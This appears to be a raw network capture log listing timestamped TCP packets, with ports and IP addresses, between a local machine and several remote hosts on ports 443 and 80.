Nov 25, 2024 05:46:22.087342024 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.087383032 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.090212107 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.090256929 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.090300083 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.090300083 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.090306997 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.090320110 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.090404034 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.098216057 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.098241091 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.098303080 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.098319054 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.098352909 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.098371029 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.101038933 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.101100922 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.101141930 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.101149082 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.101159096 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.101284027 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.109399080 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.109412909 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.109467983 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.109476089 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.109515905 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.109515905 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.128334999 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.128350019 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.128418922 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.128427982 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.128453016 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.128520012 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.138454914 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.138477087 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.138520956 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.138542891 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.138557911 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.138653994 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.147070885 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.147085905 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.147149086 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.147157907 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.147218943 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.166081905 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.166119099 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.166177034 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.166244984 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.166281939 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.166307926 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.169132948 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.169156075 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.169205904 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.169233084 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.169259071 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.171897888 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.172168970 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.172188997 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.172235966 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.172249079 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.172276020 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.172296047 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.175884962 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.175905943 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.175959110 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.175971985 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.176001072 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.178896904 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.178921938 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.178957939 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.178978920 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.179002047 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.179023027 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.182446003 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.182476044 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.182574987 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.182574987 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.182615042 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.182676077 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.186100960 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.186124086 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.186199903 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.186213970 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.186249018 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.186273098 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.189188957 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.189209938 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.189317942 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.189317942 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.189332962 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.189394951 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.199520111 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.199577093 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.199598074 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.199620008 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.199655056 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.199666977 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.201967955 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.202023029 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.202070951 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.202071905 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.202088118 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.202188015 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.202197075 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.202214956 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.202235937 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.202258110 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.230705023 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.230725050 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.273802042 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.273824930 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.273968935 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.273968935 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.273982048 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.275917053 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.277908087 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.277929068 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.277945042 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.277993917 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.278002977 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.278131008 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.281307936 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.281325102 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.281492949 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.281502008 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.281562090 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.285409927 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.285427094 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.285510063 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.285517931 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.285561085 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.288849115 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.288863897 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.288907051 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.288914919 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.288933039 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.288973093 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.291805029 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.292247057 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.292278051 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.292668104 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.292685986 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.292799950 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.292808056 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.292809963 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.292819977 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.292881012 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.296135902 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.296152115 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.296226978 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.296236038 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.296299934 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.317220926 CET	443	49732	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.317612886 CET	49732	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.317635059 CET	443	49732	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.317996979 CET	49732	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.318002939 CET	443	49732	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.318351984 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.318517923 CET	443	49734	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.318598986 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.318648100 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.318805933 CET	49734	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.318814039 CET	443	49734	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.318938971 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.318954945 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.319323063 CET	49734	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.319329023 CET	443	49734	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.337985039 CET	443	49733	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.338732958 CET	49733	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.338781118 CET	443	49733	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.339206934 CET	49733	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.339215040 CET	443	49733	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.365595102 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.365618944 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.365681887 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.365696907 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.365726948 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.365761042 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.367199898 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.367232084 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.367331982 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.367332935 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.367403984 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.367459059 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.370215893 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.370250940 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.370296955 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.370326042 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.370354891 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.370594025 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.373888969 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.373918056 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.373960018 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.373972893 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.374001026 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.374025106 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.377006054 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.377028942 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.377087116 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.377100945 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.377129078 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.377146006 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.380027056 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.380052090 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.380108118 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.380148888 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.380182028 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.380206108 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.383563042 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.383584976 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.383644104 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.383677959 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.383704901 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.383738041 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.384196043 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.384270906 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.384315968 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.384315968 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.386737108 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.386775970 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.397418976 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.484738111 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.484760046 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.484817982 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.484831095 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.484858036 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.484886885 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.488167048 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.488187075 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.488234043 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.488243103 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.488277912 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.488290071 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.488883018 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.488940001 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.488972902 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.488987923 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.499758959 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.499775887 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.697268009 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.697355986 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.697544098 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.697941065 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:22.697978973 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:22.728910923 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.729010105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.729067087 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.729429960 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.732172012 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.732198000 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.732253075 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.732280970 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.732546091 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.732568979 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.732578993 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.732726097 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.732757092 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.732803106 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.733102083 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.733203888 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.735163927 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.735192060 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.735261917 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.735307932 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.735491991 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.735574961 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.735588074 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.741513014 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.741646051 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.743300915 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.743357897 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.747796059 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.747860909 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.748080015 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.748147964 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.756203890 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.756330967 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.756614923 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.756691933 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.764592886 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.764659882 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.765474081 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.765590906 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.765860081 CET	443	49732	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.765896082 CET	443	49734	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.765932083 CET	443	49732	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.765953064 CET	443	49734	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.766009092 CET	49732	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.766009092 CET	49734	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.766745090 CET	49732	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.766757011 CET	443	49732	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.766771078 CET	49732	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.766776085 CET	443	49732	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.769553900 CET	49734	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.769557953 CET	443	49734	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.770359039 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.770382881 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.770437956 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.770466089 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.770522118 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.771282911 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.771282911 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.771334887 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.771361113 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.774293900 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.774377108 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.774596930 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.775780916 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.775810003 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.775922060 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.777297020 CET	49740	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.777319908 CET	443	49740	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.777446032 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.777447939 CET	49740	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.777479887 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.777725935 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.777740002 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.778234005 CET	49740	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.778248072 CET	443	49740	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.798845053 CET	443	49733	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.798907042 CET	443	49733	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.798979998 CET	49733	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.799021959 CET	443	49733	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.799068928 CET	49733	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.799245119 CET	49733	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.799253941 CET	443	49733	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.799277067 CET	49733	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.799649000 CET	443	49733	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.799756050 CET	443	49733	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.799835920 CET	49733	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.801866055 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.801899910 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.802037001 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.802166939 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:22.802181005 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:22.858355999 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.858458996 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:22.858469009 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.858587027 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:22.862509966 CET	80	49724	185.215.113.206	192.168.2.6
